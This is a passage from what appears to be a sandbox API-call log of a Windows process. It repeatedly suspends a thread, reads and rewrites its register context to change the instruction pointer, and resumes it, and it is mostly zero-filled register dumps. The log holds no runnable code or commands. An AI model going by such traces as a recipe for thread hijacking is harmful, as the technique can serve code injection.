Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0108.989] ResumeThread (hThread=0xd8) returned 0x1 [0108.989] CloseHandle (hObject=0xd8) returned 1 [0108.989] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0108.990] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0109.113] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0109.220] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0109.220] SuspendThread (hThread=0xd8) returned 0x0 [0109.220] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b0180, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f81f160, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0109.222] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b0178, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0109.222] ResumeThread (hThread=0xd8) returned 0x1 [0109.222] CloseHandle (hObject=0xd8) returned 1 [0109.222] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0109.334] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0109.442] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0109.552] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0109.553] SuspendThread (hThread=0xd8) returned 0x0 [0109.553] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b0168, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f82cffd, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0109.553] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b0160, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0109.554] ResumeThread (hThread=0xd8) returned 0x1 [0109.554] CloseHandle (hObject=0xd8) returned 1 [0109.554] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0109.555] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0109.667] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0109.772] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0110.085] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0110.115] SuspendThread (hThread=0xd8) returned 0x0 [0110.115] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b01c8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8501a5, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, 